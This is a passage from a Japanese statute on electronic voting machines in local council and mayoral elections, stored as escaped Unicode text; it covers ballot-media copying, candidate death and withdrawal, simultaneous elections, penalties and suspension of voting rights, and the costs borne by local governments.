\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8907\u5199\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u958b\u7968\u7ba1\u7406\u8005\u306f\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u304c\u7834\u640d\u3057\u53c8\u306f\u7d1b\u5931\u3057\u305f\u3053\u3068\u306b\u3088\u308a\u3001\u524d\u6761\u7b2c\u56db\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u96c6\u8a08\u3092\u884c\u3046\u3053\u3068\u304c\u4e0d\u53ef\u80fd\u3067\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u958b\u7968\u7acb\u4f1a\u4eba\u306e\u610f\u898b\u3092\u8074\u3044\u3066\u3001\u5f53\u8a72\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u4ee3\u3048\u3066\u3001\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5f53\u8a72\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306b\u8a18\u9332\u3055\u308c\u305f\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\uff08\u4ee5\u4e0b\u300c\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u4f7f\u7528\u3057\u3066\u958b\u7968\u3092\u884c\u3046\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u9078\u6319\u4f1a\u306e\u7279\u4f8b\uff09\n\u7b2c\u5341\u4e00\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u4e03\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\n\u3001\u7b2c\u516b\u5341\u6761\u4e26\u3073\u306b\u7b2c\u516b\u5341\u4e09\u6761\u7b2c\u4e8c\u9805\u53ca\u3073\u7b2c\u4e09\u9805\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u540c\u6cd5\u7b2c\u4e03\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\n\u4e2d\u300c\u7b2c\u4e03\u7ae0\n\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e03\u7ae0\n\u53ca\u3073\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e5d\u6761\u7b2c\u4e94\u9805\u300d\u3068\u3001\u540c\u6cd5\u7b2c\u516b\u5341\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u4e09\u9805\u4e2d\u300c\u7b2c\u516d\u5341\u516d\u6761\u7b2c\u4e09\u9805\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e5d\u6761\u7b2c\u4e94\u9805\u300d\u3068\u3001\u540c\u6761\u7b2c\u4e8c\u9805\u4e2d\u300c\u7d50\u679c\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7d50\u679c\u53ca\u3073\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e5d\u6761\u7b2c\u56db\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a08\u7b97\u306e\u7d50\u679c\u300d\u3068\u3001\u540c\u6cd5\u7b2c\u516b\u5341\u4e09\u6761\u7b2c\u4e8c\u9805\u4e2d\u300c\u7b2c\u516d\u5341\u516d\u6761\u7b2c\u4e09\u9805\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e5d\u6761\u7b2c\u4e94\u9805\u300d\u3068\u3001\u540c\u6761\u7b2c\u4e09\u9805\u4e2d\u300c\u6295\u7968\u306e\u6709\u52b9\u7121\u52b9\u3092\u533a\u5225\u3057\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u6295\u7968\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u53ca\u3073\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306f\u300d\u3068\u3001\u300c\u4fdd\u5b58\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u4fdd\u5b58\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u6295\u7968\u306b\u3042\u3064\u3066\u306f\u3001\u6709\u52b9\u7121\u52b9\u3092\u533a\u5225\u3057\u3066\u4fdd\u5b58\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u300d\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u7acb\u5019\u88dc\u306e\u7279\u4f8b\uff09\n\u7b2c\u5341\u4e8c\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\uff08\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u56db\u5341\u516d\u6761\u306e\u4e8c\u7b2c\u4e00\u9805\n\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u3092\u9664\u304f\u3002\uff09\u306b\u3064\u3044\u3066\u3001\u540c\u6cd5\u7b2c\u516b\u5341\u516d\u6761\u306e\u56db\n\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u540c\u6761\u7b2c\u4e94\u9805\n\u53ca\u3073\u7b2c\u516d\u9805\n\u4e2d\u300c\u4e09\u65e5\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u56db\u65e5\u300d\u3068\u3001\u300c\u4e8c\u65e5\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u4e09\u65e5\u300d\u3068\u3001\u540c\u6761\u7b2c\u516b\u9805\n\u4e2d\u300c\u4e09\u65e5\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u56db\u65e5\u300d\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u516c\u8077\u306e\u5019\u88dc\u8005\u304c\u6b7b\u4ea1\u3057\u305f\u5834\u5408\u7b49\u306b\u304a\u3051\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u53d6\u6271\u3044\u7b49\uff09\n\u7b2c\u5341\u4e09\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u516c\u8077\u306e\u5019\u88dc\u8005\u304c\u6b7b\u4ea1\u3057\u305f\u5834\u5408\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u516b\u5341\u516d\u6761\u306e\u56db\u7b2c\u4e5d\u9805\n\u306e\u898f\u5b9a\u306b\u3088\u308a\u5c4a\u51fa\u3092\u5374\u4e0b\u3057\u305f\u5834\u5408\u53c8\u306f\u540c\u6cd5\u7b2c\u4e5d\u5341\u4e00\u6761\u7b2c\u4e8c\u9805\n\u82e5\u3057\u304f\u306f\u7b2c\u767e\u4e09\u6761\u7b2c\u56db\u9805\n\u306e\u898f\u5b9a\u306b\u3088\u308a\u516c\u8077\u306e\u5019\u88dc\u8005\u305f\u308b\u3053\u3068\u3092\u8f9e\u3057\u305f\u3082\u306e\u3068\u307f\u306a\u3055\u308c\u305f\u5834\u5408\u306b\u304a\u3051\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u53d6\u6271\u3044\u305d\u306e\u4ed6\u5fc5\u8981\u306a\u63aa\u7f6e\u306b\u3064\u3044\u3066\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u516c\u8077\u306e\u5019\u88dc\u8005\u304c\u6b7b\u4ea1\u3057\u305f\u5834\u5408\u7b49\u306e\u7279\u4f8b\uff09\n\u7b2c\u5341\u4e09\u6761\u306e\u4e8c\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u7b2c\u5341\u4e8c\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u8aad\u307f\u66ff\u3048\u3066\u9069\u7528\u3055\u308c\u308b\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u516b\u5341\u516d\u6761\u306e\u56db\u7b2c\u4e94\u9805\n\u304b\u3089\u7b2c\u4e03\u9805\n\u307e\u3067\u306b\u898f\u5b9a\u3059\u308b\u4e8b\u7531\u304c\u751f\u3058\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u671f\u9593\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u6295\u7968\u3092\u884c\u308f\u306a\u3044\u3082\u306e\u3068\u3057\u3001\u540c\u6cd5\u7b2c\u56db\u5341\u4e94\u6761\n\u3001\u7b2c\u56db\u5341\u516d\u6761\u7b2c\u4e00\u9805\u3001\u7b2c\u56db\u5341\u516b\u6761\u53ca\u3073\u7b2c\u56db\u5341\u516b\u6761\u306e\u4e8c\u306e\u898f\u5b9a\u306b\u3088\u308a\u6295\u7968\u3092\u884c\u3046\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u540c\u6642\u9078\u6319\u7b49\u306e\u7279\u4f8b\uff09\n\u7b2c\u5341\u56db\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u306f\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u5341\u4e8c\u7ae0\n\u306e\u898f\u5b9a\u306f\u3001\u9069\u7528\u3057\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u5e02\u753a\u6751\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u306e\u9078\u6319\u3068\u5e02\u753a\u6751\u9577\u306e\u9078\u6319\u3092\u3068\u3082\u306b\u540c\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3088\u308a\u884c\u3046\u5834\u5408\uff08\u6307\u5b9a\u90fd\u5e02\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u306e\u9078\u6319\u306b\u4fc2\u308b\u540c\u9805\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u533a\u3068\u5f53\u8a72\u6307\u5b9a\u90fd\u5e02\u306e\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u540c\u9805\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u533a\u304c\u7570\u306a\u308b\u5834\u5408\u3092\u9664\u304f\u3002\uff09\u306b\u3042\u3063\u3066\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e03\u5341\u516d\u6761\u7b2c\u4e09\u9805\n\u3001\u7b2c\u516b\u5341\u6761\u7b2c\u4e09\u9805\u3001\u7b2c\u516b\u5341\u4e00\u6761\u7b2c\u4e8c\u9805\u53c8\u306f\u7b2c\u4e8c\u767e\u516d\u5341\u4e00\u6761\u7b2c\u4e09\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306f\u3001\u540c\u6cd5\u7b2c\u516b\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\n\u53c8\u306f\u7b2c\u4e8c\u767e\u516d\u5341\u4e8c\u6761\u7b2c\u4e8c\u9805\n\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u3068\u540c\u6642\u306b\u3053\u308c\u3092\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u306a\u3044\u3002\n\n\n\n\uff08\u6295\u7968\u8a18\u8f09\u6240\u306e\u6c0f\u540d\u7b49\u306e\u63b2\u793a\u306e\u7279\u4f8b\uff09\n\u7b2c\u5341\u4e94\u6761\n\n\u3000\u7b2c\u4e09\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u767e\u4e03\u5341\u4e94\u6761\u7b2c\u516b\u9805\n\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u540c\u9805\n\u4e2d\u300c\u7b2c\u4e00\u9805\n\u53c8\u306f\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u7b2c\u4e00\u9805\n\u306e\u63b2\u793a\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u5e02\u753a\u6751\u306e\u9078\u6319\u7ba1\u7406\u59d4\u54e1\u4f1a\u304c\u3001\u300d\u3068\u3001\u300c\u4e8b\u9805\u306f\u3001\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u4e8b\u9805\u306f\u300d\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\uff09\n\u7b2c\u5341\u516d\u6761\n\n\u3000\u7b2c\u4e09\u6761\u53ca\u3073\u7b2c\u4e03\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3064\u3044\u3066\u306f\u3001\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3001\u6295\u7968\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u53ca\u3073\u6295\u7968\u3092\u8907\u5199\u3057\u305f\u96fb\u78c1\u7684\u8a18\u9332\u5a92\u4f53\u306f\u6295\u7968\u7bb1\u3068\u3001\u7b2c\u4e03\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u9078\u6319\u4eba\u306e\u6295\u7968\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u53ca\u3073\u540c\u6761\u7b2c\u56db\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u9078\u6319\u4eba\u306e\u305f\u3081\u306b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u306f\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u56db\u5341\u516b\u6761\u7b2c\u4e8c\u9805\n\u306e\u898f\u5b9a\u306b\u3088\u308a\u6295\u7968\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u3068\u307f\u306a\u3057\u3066\u3001\u540c\u6cd5\u7b2c\u5341\u516d\u7ae0\n\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u3002\n\n\uff12\n\n\u3000\u7b2c\u4e03\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u6295\u7968\u3092\u884c\u3046\u3079\u304d\u3082\u306e\u3068\u5b9a\u3081\u3089\u308c\u305f\u8005\u304c\u9078\u6319\u4eba\u306e\u6307\u793a\u3059\u308b\u516c\u8077\u306e\u5019\u88dc\u8005\u306b\u5bfe\u3057\u3066\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u305f\u6295\u7968\u3092\u884c\u308f\u306a\u304b\u3063\u305f\u3068\u304d\u306f\u3001\u4e8c\u5e74\u4ee5\u4e0b\u306e\u7981\u932e\u53c8\u306f\u4e09\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3059\u308b\u3002\n\n\uff13\n\n\u3000\u6b21\u306b\u63b2\u3052\u308b\u9055\u53cd\u304c\u3042\u3063\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u305d\u306e\u9055\u53cd\u884c\u70ba\u3092\u3057\u305f\u8005\u306f\u3001\u4e8c\u5341\u4e07\u5186\u4ee5\u4e0b\u306e\u7f70\u91d1\u306b\u51e6\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u4e03\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u9078\u6319\u4eba\u306e\u6295\u7968\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u304c\u540c\u9805\u306e\u6295\u7968\u306e\u88dc\u52a9\u306e\u7fa9\u52d9\u306b\u9055\u53cd\u3057\u305f\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u4e03\u6761\u7b2c\u56db\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u9078\u6319\u4eba\u306e\u305f\u3081\u306b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u3092\u88dc\u52a9\u3059\u3079\u304d\u8005\u304c\u540c\u9805\u306e\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u64cd\u4f5c\u306e\u88dc\u52a9\u306e\u7fa9\u52d9\u306b\u9055\u53cd\u3057\u305f\u3068\u304d\u3002\n\n\n\n\n\uff08\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u306e\u505c\u6b62\uff09\n\u7b2c\u5341\u4e03\u6761\n\n\u3000\u524d\u6761\u7b2c\u4e8c\u9805\u53c8\u306f\u7b2c\u4e09\u9805\u306e\u7f6a\u3092\u72af\u3057\u7f70\u91d1\u306e\u5211\u306b\u51e6\u305b\u3089\u308c\u305f\u8005\u306f\u3001\u305d\u306e\u88c1\u5224\u304c\u78ba\u5b9a\u3057\u305f\u65e5\u304b\u3089\u4e94\u5e74\u9593\uff08\u5211\u306e\u57f7\u884c\u7336\u4e88\u306e\u8a00\u6e21\u3057\u3092\u53d7\u3051\u305f\u8005\u306b\u3064\u3044\u3066\u306f\u3001\u305d\u306e\u88c1\u5224\u304c\u78ba\u5b9a\u3057\u305f\u65e5\u304b\u3089\u5211\u306e\u57f7\u884c\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u306a\u304f\u306a\u308b\u307e\u3067\u306e\u9593\uff09\u3001\u516c\u8077\u9078\u6319\u6cd5\n\u306b\u898f\u5b9a\u3059\u308b\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u6761\u7b2c\u4e8c\u9805\u306e\u7f6a\u3092\u72af\u3057\u7981\u932e\u306e\u5211\u306b\u51e6\u305b\u3089\u308c\u305f\u8005\u306f\u3001\u305d\u306e\u88c1\u5224\u304c\u78ba\u5b9a\u3057\u305f\u65e5\u304b\u3089\u5211\u306e\u57f7\u884c\u3092\u7d42\u308f\u308b\u307e\u3067\u306e\u9593\u82e5\u3057\u304f\u306f\u5211\u306e\u6642\u52b9\u306b\u3088\u308b\u5834\u5408\u3092\u9664\u304f\u307b\u304b\u5211\u306e\u57f7\u884c\u306e\u514d\u9664\u3092\u53d7\u3051\u308b\u307e\u3067\u306e\u9593\u53ca\u3073\u305d\u306e\u5f8c\u4e94\u5e74\u9593\u53c8\u306f\u305d\u306e\u88c1\u5224\u304c\u78ba\u5b9a\u3057\u305f\u65e5\u304b\u3089\u5211\u306e\u57f7\u884c\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u306a\u304f\u306a\u308b\u307e\u3067\u306e\u9593\u3001\u516c\u8077\u9078\u6319\u6cd5\n\u306b\u898f\u5b9a\u3059\u308b\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u88c1\u5224\u6240\u306f\u3001\u60c5\u72b6\u306b\u3088\u308a\u3001\u5211\u306e\u8a00\u6e21\u3057\u3068\u540c\u6642\u306b\u3001\u7b2c\u4e00\u9805\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u5bfe\u3057\u540c\u9805\u306e\u4e94\u5e74\u9593\u82e5\u3057\u304f\u306f\u5211\u306e\u57f7\u884c\u7336\u4e88\u4e2d\u306e\u671f\u9593\u306b\u3064\u3044\u3066\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u65e8\u306e\u898f\u5b9a\u3092\u9069\u7528\u305b\u305a\u3001\u82e5\u3057\u304f\u306f\u305d\u306e\u671f\u9593\u306e\u3046\u3061\u3053\u308c\u3092\u9069\u7528\u3059\u3079\u304d\u671f\u9593\u3092\u77ed\u7e2e\u3059\u308b\u65e8\u3092\u5ba3\u544a\u3057\u3001\u53c8\u306f\u524d\u9805\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u5bfe\u3057\u540c\u9805\u306e\u4e94\u5e74\u9593\u82e5\u3057\u304f\u306f\u5211\u306e\u57f7\u884c\u7336\u4e88\u306e\u8a00\u6e21\u3057\u3092\u53d7\u3051\u305f\u5834\u5408\u306b\u3042\u3063\u3066\u306f\u305d\u306e\u57f7\u884c\u7336\u4e88\u4e2d\u306e\u671f\u9593\u306e\u3046\u3061\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u65e8\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u3079\u304d\u671f\u9593\u3092\u77ed\u7e2e\u3059\u308b\u65e8\u3092\u5ba3\u544a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff14\n\n\u3000\u524d\u4e09\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u8005\u306f\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u5341\u4e00\u6761\u7b2c\u4e09\u9805\n\u3001\u7b2c\u4e8c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u3001\u7b2c\u4e8c\u5341\u4e03\u6761\u7b2c\u4e00\u9805\u3001\u7b2c\u4e09\u5341\u6761\u306e\u56db\u3001\u7b2c\u4e09\u5341\u6761\u306e\u5341\u7b2c\u4e00\u9805\u3001\u7b2c\u516b\u5341\u516d\u6761\u306e\u516b\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u767e\u4e09\u5341\u4e03\u6761\u306e\u4e09\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u308c\u3089\u306e\u898f\u5b9a\u306b\u898f\u5b9a\u3059\u308b\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u8005\u3068\u307f\u306a\u3059\u3002\n\n\uff15\n\n\u3000\u7b2c\u4e00\u9805\u304b\u3089\u7b2c\u4e09\u9805\u307e\u3067\u306e\u898f\u5b9a\u306b\u3088\u308a\u9078\u6319\u6a29\u53ca\u3073\u88ab\u9078\u6319\u6a29\u3092\u6709\u3057\u306a\u3044\u3053\u3068\u3068\u306a\u308b\u8005\u306b\u4fc2\u308b\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u767e\u4e8c\u5341\u4e03\u6761\u7b2c\u4e00\u9805\n\u3001\u7b2c\u767e\u56db\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u53ca\u3073\u7b2c\u767e\u516b\u5341\u56db\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u308c\u3089\u306e\u898f\u5b9a\u4e2d\u300c\u7b2c\u4e8c\u767e\u4e94\u5341\u4e8c\u6761\u300d\u3068\u3042\u308b\u306e\u306f\u3001\u300c\u7b2c\u4e8c\u767e\u4e94\u5341\u4e8c\u6761\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u5341\u4e03\u6761\u7b2c\u4e00\u9805\u304b\u3089\u7b2c\u4e09\u9805\u307e\u3067\u300d\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u4f7f\u7528\u306b\u8981\u3059\u308b\u8cbb\u7528\u306e\u8ca0\u62c5\uff09\n\u7b2c\u5341\u516b\u6761\n\n\u3000\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306b\u95a2\u3059\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u306e\u4f7f\u7528\u306b\u8981\u3059\u308b\u8cbb\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8ca0\u62c5\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u96d1\u5247\uff09\n\u7b2c\u5341\u4e5d\u6761\n\n\u3000\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306b\u3064\u3044\u3066\u3001\u516c\u8077\u9078\u6319\u6cd5\u7b2c\u4e8c\u767e\u516d\u5341\u56db\u6761\u306e\u4e8c\n\u304b\u3089\u7b2c\u4e8c\u767e\u516d\u5341\u516d\u6761\n\u307e\u3067\u306e\u898f\u5b9a\u3092\u9069\u7528\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u3053\u308c\u3089\u306e\u898f\u5b9a\u4e2d\u300c\u3053\u306e\u6cd5\u5f8b\u300d\u3068\u3042\u308b\u306e\u306f\u3001\u300c\u3053\u306e\u6cd5\u5f8b\u53ca\u3073\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u300d\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u56fd\u306e\u63f4\u52a9\uff09\n\u7b2c\u4e8c\u5341\u6761\n\n\u3000\u56fd\u306f\u3001\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306b\u3088\u3